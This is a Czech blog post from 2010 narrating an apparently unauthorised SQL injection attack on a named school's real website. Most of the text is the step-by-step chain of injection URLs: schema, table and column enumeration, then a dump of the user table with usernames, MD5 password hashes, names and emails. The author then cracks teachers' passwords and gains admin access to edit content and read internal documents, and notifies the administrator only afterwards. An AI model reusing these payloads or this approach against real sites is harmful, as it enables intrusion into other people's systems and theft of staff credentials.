Kategorie: Hacking

Hack: SQL Injection na webu Kutnohorského gymnázia Orten

Občas se člověk trochu nudí a tak zkouší měnit hodnoty proměných v GETu, každý to určitě znáte :-). Nedbalost, nepozornost nebo neum správce webu www.gymkh.cz vytvořili možnost komukoliv záskat práva a editovat veškerý obsah stránek gymnázia. Kde jsou / byly chybičky?

Hack školy Orten

Autor: KdoSiOdJinud | Vydáno: 22.12.2010 7:38 | Přečteno: 22089x | Komentářů: 0

Gymnázium Orten - Kutná Hora

První kroky po webu prozrazují, že web není asi tak úplně v pořádku - chybová hláška na konci stránky značí špatně zpracovaný kod php. Tento "postřeh" mě naťukne k tomu, abych se koukl do funkčnosti stránek blíže. Zjišťuji, že web běží na phpRS a některé prvky stránky jsou přidělávány pravděpodobně jinou osobou dodatečně - jde o stránku pana Ortena :)

Stránka pana Ortena

Tady už chybu prozrazuje klasické:

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 or 1=1

Další mé postupy jsou následující:

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,version(),database(),4,5,6

Databáze z které čte prezentace pana Ortena se neshoduje s tou z které čerpá hlavní školní web, s tímto problémem jsem malinko zápasil, ale díky šikovným lidem (Emkei, .cCuMiNn. a RubberDuck) už v budoucnu tento problém mít nebudu :-). Pro dosažení zajímavých informací je tedy třeba zjistit, z jaké databáze čerpá hlavní část webu:

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,schema_name,3,4,5,6 FROM information_schema.schemata

...zde vidíme databáze a tedy volíme tu správnou, tou jest "phprs", výpis tabulek této databáze nám poskytne tento dotaz:

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,table_name,3,4,5,6 FROM information_schema.tables WHERE table_schema ='phprs'

Ouha, teď jen najít tu správnou tabulku a podívat se jaká data bude pravděpodobně obsahovat, just do it!

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name ='rs_user'

Nyní už je vše jasné, chceme vidět obsah těchto sloupců: user, password, jmeno, email, admin. Tyto informace se nám budou určitě hodit tak si je vypíšeme, nesmíme zapomenout, že žádáme výpis dat z tabulky, která se nachází v DB phprs!

http://www.gymkh.cz/orten/clanky.php?akce=cist&id=-1 UNION ALL SELECT 1,concat(user,char(58),password,char(58),jmeno,char(58),email,char(58), admin),3,4,5,6 FROM phprs.rs_user

Olalá - máme vše potřebné, uživatelská jména, hesla, emaily, zkrátka vše - hesla jsou hashovaná v md5 ale jejich bezpečnost je nadmíru "přehnaná". Z 90% mají učitelé hesla číselná, z 60% jsou hesla pouze 4znaká. Zbytek má buď 8místné číslo, krátké slovníkové slovo s číslem nebo se mi zhruba 5% hesel nepodařilo cracknout vůbec. Ke cracknutí jsem používal on-line nástroj c0llision.net, mám ho rád díky možnosti zadat více hashu najednou :-). To asi tak k bezpečnosti celého webu, po přihlášení do administrace mohu editovat veškerý obsah stránek a nahlížet do interních dokumentů pro učitele.

Screenshots:

O chybě jsem poslal 21.12.2010 email administrátorovi webu, uvidíme jak rychle chybu opraví.

Komentáře rss

Pokud hledáte službu či máte dotaz mimo téma článku, využijte prosím sekci Nabídky / poptávky.


Nebyly přidány žádné komentáře.